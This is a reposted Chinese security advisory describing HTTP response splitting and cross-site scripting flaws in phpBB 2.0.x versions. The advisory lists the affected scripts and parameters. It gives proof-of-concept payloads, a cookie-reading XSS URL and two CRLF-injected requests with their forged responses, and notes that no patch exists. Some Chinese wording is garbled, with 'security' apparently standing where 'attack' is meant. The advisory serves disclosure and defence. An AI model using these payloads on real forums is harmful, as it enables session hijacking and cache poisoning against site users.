phpBB HTTP应答分割安全及跨站脚本执行漏洞

来源:岁月联盟 编辑:zhuzhu 时间:2005-01-02
phpBB HTTP应答分割安全及跨站脚本执行漏洞

发布日期: 2004年7月23日
受影响系统:
phpBB Group phpBB 2.0.9
phpBB Group phpBB 2.0.8 a
phpBB Group phpBB 2.0.8
phpBB Group phpBB 2.0.7
phpBB Group phpBB 2.0.6 d
phpBB Group phpBB 2.0.6 c
phpBB Group phpBB 2.0.6
phpBB Group phpBB 2.0.5
phpBB Group phpBB 2.0.4
phpBB Group phpBB 2.0.3
phpBB Group phpBB 2.0.2
phpBB Group phpBB 2.0.1
phpBB Group phpBB 2.0 RC4
phpBB Group phpBB 2.0 RC3
phpBB Group phpBB 2.0 RC2
phpBB Group phpBB 2.0 RC1
phpBB Group phpBB 2.0 Beta 1
phpBB Group phpBB 2.0
描述:
--------------------------------------------------------------------------------
phpBB是一款由PHP编写的WEB论坛应用程序,支持多种数据库系统,可使用在多种Unix和Linux操作系统下。

phpBB的多个脚本存在HTTP应答分割安全或者跨站脚本安全,远程安全者可以利用这个漏洞进行WEB缓冲毒药,劫持也7面,或者敏感信息等安全。

如下两个脚本存在HTTP应答分割安全:

- /phpBB2/privmsg.php ('mode' 参数)
- /phpBB2/login.php ('redirect' 参数)

这些漏洞允许安全者执行各种页面劫持,敏感信息泄露等安全。

'/phpBB2/search.php'脚本对'search_author'参数数据缺少充分过滤,提交恶意脚本代码,当其他用户解析时可导致基于COOKIE的敏感信息泄露。

<*来源:Ory Segal (ORY.SEGAL@SANCTUMINC.COM)
 
  链接:http://marc.theaimsgroup.com/?l=bugtraq&m=109034476122723&w=2
*>

测试方法:
--------------------------------------------------------------------------------

警 告

以下程序(方法)可能带有安全性,仅供安全研究与教学之用。使用者风险自负!

Ory Segal (ORY.SEGAL@SANCTUMINC.COM)提供了如下测试方法:

跨站脚本安全:

http://SERVER/phpBB2/search.php?search_author='<script>alert(document.cookie)</script>

HTTP应答分割

[REQUEST]

POST /phpBB2/login.php HTTP/1.0
Host: SERVER
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-Type: application/x-www-form-urlencoded
Content-length: 129

logout=foobar&redirect=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTT
P/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!

[RESPONSE]

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jul 2004 09:48:04 GMT
Content-type: text/html
X-Powered-By: PHP/4.3.4
Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
09:48:04 GMT; path=/
Set-Cookie: phpbb2mysql_sid=b389d63f8226cc6c8ad349b3aadf41f3; path=/
Refresh: 0; URL=http://SERVER/phpBB2foobar
Content-Length: 0

HTTP/1.0 200 OK
Content-Length: 7

Gotcha!
...
...
...

-[ HTTP Response Splitting Example [2]

[REQUEST]

GET /phpBB2/privmsg.php?mode=foobar%0d%0aContent-Length:%200%0d%0a%0d
%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!
HTTP/1.0
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Host: SERVER

[RESPONSE]

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jul 2004 12:42:17 GMT
Content-type: text/html
X-Powered-By: PHP/4.3.4
Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
12:42:17 GMT; path=/
Set-Cookie: phpbb2mysql_sid=74d20cacbfcd9d7b16e0bb86a345aea3; path=/
Refresh: 0; URL=http://SERVER/phpBB2login.php?redirect=privmsg
.php&folder=inbox&mode=foobar
Content-Length: 0

HTTP/1.0 200 OK
Content-Length: 7

Gotcha!&sid=74d20cacbfcd9d7b16e0bb86a345aea3
...
...
...

建议:
--------------------------------------------------------------------------------
厂商补丁:

phpBB Group
-----------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.phpbb.com/